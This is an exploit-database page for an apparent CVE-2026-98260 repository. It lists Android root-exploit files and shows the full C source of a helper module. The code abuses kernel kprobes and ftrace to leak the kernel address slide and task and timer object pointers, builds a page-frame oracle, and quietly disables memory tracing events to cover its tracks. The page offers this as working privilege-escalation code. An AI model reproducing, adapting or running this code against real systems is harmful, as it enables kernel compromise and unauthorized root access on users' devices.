Exploit databaseDownload repository ZIP
GH-b2682eea148b61d664fff913b24cc4d4
lw5959/xring-cve-2026-98260
Sources for CVE-2026-98260
60 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files15
lw5959/xring-cve-2026-98260Revision 8b404774be19
- ↑..Parent directory
- exploit-android-key-ptr.c
- exploit-android-perf-chain.c
- exploit-android-perf.c
- pc98260_rootd.c
- pc98260_su.c
- xr98260-dropuid.c
- xr98260_profiles.c
- xr98260_profiles.h
- xr98260_slide_probe.c
- xr98260p.h
- xr98260p_main.c
- xr98260p_plant.c
- xr98260p_race.c
- xr98260p_trace.c
- xring_plant_realcred.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/xr98260p_trace.c
C · 9,976 bytes/* trace/kprobe control, kernel pointer leaks and page-frame oracle. */
#include "xr98260p.h"
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
uint64_t g_slide;
int xr_write_file(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
ssize_t want = (ssize_t)strlen(text);
ssize_t got;
if (fd < 0)
return -1;
got = write(fd, text, (size_t)want);
close(fd);
return got == want ? 0 : -1;
}
int xr_trigger(const char *text)
{
if (!xr_write_file(XR_TRIGGER, text))
return 0;
return errno == EEXIST ? 0 : -1;
}
int xr_tracing_off_on(void)
{
int fd;
if (xr_write_file(XR_TRACING, "0\n"))
return -1;
fd = open(XR_TEXT, O_WRONLY | O_TRUNC | O_CLOEXEC);
if (fd < 0)
return -1;
close(fd);
return xr_write_file(XR_TRACING, "1\n");
}
int xr_kick_rss(void)
{
void *page;
if (xr_write_file(XR_RSS_ENABLE, "1\n"))
return -1;
page = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page != MAP_FAILED) {
*(volatile unsigned char *)page = 1;
munmap(page, 4096);
}
return xr_write_file(XR_RSS_ENABLE, "0\n");
}
static void xr_drop_event(const char *kind, const char *name)
{
char line[128];
snprintf(line, sizeof(line), "!enable_event:%s:%s\n", kind, name);
(void)xr_trigger(line);
snprintf(line, sizeof(line), "disable_event:%s:%s\n", kind, name);
(void)xr_trigger(line);
(void)xr_kick_rss();
snprintf(line, sizeof(line), "!disable_event:%s:%s\n", kind, name);
(void)xr_trigger(line);
}
void xr_quiet_reclaim_trace(void)
{
(void)xr_write_file(XR_TRACING, "0\n");
xr_drop_event("kmem", "mm_page_free");
xr_drop_event("kmem", "mm_page_alloc");
(void)xr_write_file(XR_TRACE "/buffer_size_kb", "7\n");
}
void xr_disarm_trace(void)
{
(void)xr_write_file(XR_TRACING, "0\n");
xr_drop_event("kmem", "kmem_cache_alloc");
xr_drop_event("kmem", "kmem_cache_free");
xr_drop_event("kmem", "mm_page_free");
(void)xr_write_file(XR_TRACE "/buffer_size_kb", "7\n");
}
uint64_t xr_object_pfn(uint64_t kernel_ptr)
{
return ((kernel_ptr & ~UINT64_C(0xfff)) - XR_PAGE_OFFSET) >> 12;
}
int xr_cpu_count(void)
{
char buf[128];
char *p;
int fd, n = 0;
ssize_t got;
memset(buf, 0, sizeof(buf));
fd = open("/sys/devices/system/cpu/present", O_RDONLY | O_CLOEXEC);
if (fd < 0)
return 8;
got = read(fd, buf, sizeof(buf) - 1);
close(fd);
if (got <= 0)
return 8;
for (p = buf; *p != 0;) {
int value = 0;
if (*p < '0' || *p > '9') {
p++;
continue;
}
while (*p >= '0' && *p <= '9')
value = value * 10 + (*p++ - '0');
if (value + 1 > n)
n = value + 1;
}
if (n < 1)
return 8;
return n > 16 ? 16 : n;
}
int xr_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
return sched_setaffinity(0, sizeof(set), &set);
}
/* Exact-match pfn parse: a prefix match would confuse 0x1bba66 with
* 0x1bba660, so require the following byte to end the number.
*/
static bool xr_line_has_pfn(const char *line, uint64_t pfn)
{
char exact[40];
char *hit;
int n = snprintf(exact, sizeof(exact), "pfn=0x%" PRIx64, pfn);
if (n <= 0)
return false;
hit = strstr(line, exact);
if (!hit)
return false;
{
char end = hit[n];
if ((end >= '0' && end <= '9') ||
(end >= 'a' && end <= 'f') ||
(end >= 'A' && end <= 'F'))
return false;
}
return true;
}
int xr_trace_seen_pfn(const char *kind, uint64_t pfn)
{
int cpus = xr_cpu_count();
for (int cpu = 0; cpu < cpus; cpu++) {
char path[128], line[768];
FILE *file;
snprintf(path, sizeof(path), XR_TRACE "/per_cpu/cpu%d/trace",
cpu);
file = fopen(path, "r");
if (!file)
continue;
while (fgets(line, sizeof(line), file)) {
if (strstr(line, kind) && xr_line_has_pfn(line, pfn)) {
fclose(file);
return 1;
}
}
fclose(file);
}
return 0;
}
int xr_probe_delete(const char *group, const char *event);
/* A kprobe left behind by an earlier run keeps kprobe_events busy
* (EBUSY) and silently blocks every later probe, so retirement is
* explicit and idempotent.
*/
void xr_probe_retire(const char *group, const char *event)
{
char command[192];
snprintf(command, sizeof(command), "!enable_event:%s:%s\n", group,
event);
(void)xr_trigger(command);
snprintf(command, sizeof(command), "disable_event:%s:%s\n", group,
event);
if (!xr_trigger(command)) {
(void)xr_kick_rss();
snprintf(command, sizeof(command), "!disable_event:%s:%s\n",
group, event);
(void)xr_trigger(command);
}
(void)xr_probe_delete(group, event);
}
int xr_probe_create(const char *group, const char *event, const char *symbol,
const char *fetch, bool retprobe)
{
char command[320];
int n;
(void)xr_probe_delete(group, event);
n = snprintf(command, sizeof(command), "%c:%s/%s %s %s\n",
retprobe ? 'r' : 'p', group, event, symbol,
fetch ? fetch : "");
if (n <= 0 || n >= (int)sizeof(command))
return -1;
return xr_write_file(XR_KPROBES, command);
}
int xr_probe_delete(const char *group, const char *event)
{
char command[192];
snprintf(command, sizeof(command), "-:%s/%s\n", group, event);
return xr_write_file(XR_KPROBES, command);
}
int xr_probe_enable_event(const char *group, const char *event)
{
char command[192];
int fd;
/* 先停 trace,注册触发器,再开 RSS 与 tracing,顺序与已验真的参考链一致。 */
if (xr_write_file(XR_TRACING, "0\n"))
return -1;
fd = open(XR_TEXT, O_WRONLY | O_TRUNC | O_CLOEXEC);
if (fd < 0)
return -1;
close(fd);
snprintf(command, sizeof(command), "enable_event:%s:%s\n", group,
event);
if (xr_trigger(command))
return -1;
if (xr_write_file(XR_RSS_ENABLE, "1\n"))
return -1;
if (xr_write_file(XR_TRACING, "1\n"))
return -1;
if (xr_kick_rss())
return -1;
return xr_write_file(XR_RSS_ENABLE, "0\n");
}
/* trace line: " <comm>-<pid> [<cpu>] <flags> <ts>: <event>: fields"
* The task id sits between the last '-' before '[' and the bracket.
*/
static long xr_line_pid(const char *line)
{
const char *bracket = strchr(line, '[');
const char *dash;
char *end;
long pid;
if (!bracket)
return -1;
dash = bracket;
while (dash > line && *dash != '-')
dash--;
if (*dash != '-')
return -1;
pid = strtol(dash + 1, &end, 10);
if (end == dash + 1 || end > bracket)
return -1;
return pid;
}
static int xr_trace_field_u64(const char *line, const char *field,
uint64_t *value)
{
char key[48];
const char *position;
unsigned long long parsed;
snprintf(key, sizeof(key), "%s=0x", field);
position = strstr(line, key);
if (!position)
return -1;
if (sscanf(position + strlen(key), "%llx", &parsed) != 1)
return -1;
*value = (uint64_t)parsed;
return 0;
}
static bool xr_kernel_pointer(uint64_t value)
{
return (value >> 48) == 0xffff && (value & 7) == 0;
}
int xr_leak_slide(uint64_t *slide)
{
const char *group = "xr98260p";
const char *event = "slide";
uint64_t ip = 0;
FILE *file;
char line[768];
int result = -1;
if (xr_probe_create(group, event, "__arm64_sys_getpid", "ip=%pc:x64",
false))
return -1;
if (xr_probe_enable_event(group, event))
goto out_delete;
(void)syscall(SYS_getpid);
(void)xr_write_file(XR_TRACING, "0\n");
file = fopen(XR_TEXT, "r");
if (!file)
goto out_delete;
while (fgets(line, sizeof(line), file)) {
if (!strstr(line, "slide") || xr_trace_field_u64(line, "ip", &ip))
continue;
if (ip >= XR_LINK_GETPID && ip - XR_LINK_GETPID < UINT64_C(0x10000000000)) {
*slide = ip - XR_LINK_GETPID;
result = 0;
break;
}
}
fclose(file);
out_delete:
xr_probe_retire(group, event);
return result;
}
int xr_leak_task(uint64_t *task)
{
const char *group = "xr98260p";
const char *event = "task";
long self = (long)syscall(SYS_gettid);
uint64_t value = 0;
FILE *file;
char line[768];
int result = -1;
if (prctl(PR_SET_NAME, "xr98260p-task", 0, 0, 0))
return -1;
if (xr_probe_create(group, event, "__set_task_comm", "task=%x0:x64",
false))
return -1;
if (xr_probe_enable_event(group, event))
goto out_delete;
if (prctl(PR_SET_NAME, "xr98260p-task2", 0, 0, 0))
goto out_stop;
(void)xr_write_file(XR_TRACING, "0\n");
file = fopen(XR_TEXT, "r");
if (!file)
goto out_delete;
while (fgets(line, sizeof(line), file)) {
long line_pid;
if (!strstr(line, "task=") || strstr(line, "xr98260p:slide"))
continue;
line_pid = xr_line_pid(line);
if (line_pid >= 0 && line_pid != self)
continue;
{
const char *p = strstr(line, "task=0x");
if (!p)
continue;
value = strtoull(p + 7, NULL, 16);
}
if (xr_kernel_pointer(value)) {
*task = value;
result = 0;
break;
}
}
fclose(file);
out_delete:
(void)xr_probe_delete(group, event);
return result;
out_stop:
(void)xr_write_file(XR_TRACING, "0\n");
xr_probe_retire(group, event);
return result;
}
/* Collect the kretprobe-returned k_itimer pointers of one thread in trace
* order. Index XR_TIMER_INDEX is the armed timer and therefore the victim.
*/
int xr_leak_timers_raw(uint64_t *out, int capacity)
{
uint8_t *buf = malloc(8U << 20);
uint64_t site = xr_slide_addr(XR_LINK_ALLOC_TIMER);
size_t used = 0;
int fd, n = 0;
if (!buf)
return -1;
fd = open(XR_TRACE "/per_cpu/cpu0/trace_pipe_raw",
O_RDONLY | O_CLOEXEC);
if (fd < 0) {
free(buf);
return -1;
}
alarm(2);
while (used + 4096U < (8U << 20)) {
ssize_t got = read(fd, buf + used, (8U << 20) - used);
if (got <= 0) {
if (got < 0 && errno == EINTR)
break;
break;
}
used += (size_t)got;
}
alarm(0);
close(fd);
for (size_t i = 0; i + 32U <= used; i++) {
uint64_t got, ptr, req;
if (memcmp(buf + i, &site, sizeof(site)))
continue;
memcpy(&got, buf + i, sizeof(got));
memcpy(&ptr, buf + i + 8U, sizeof(ptr));
memcpy(&req, buf + i + 24U, sizeof(req));
if (got != site || req != XR_KITIMER_BYTES)
continue;
if ((ptr >> 48) != 0xffff || (ptr & 7U))
continue;
if (n < capacity)
out[n] = ptr;
n++;
}
free(buf);
dprintf(STDERR_FILENO, "[timers] raw=%zu captured=%d\n", used, n);
return n;
}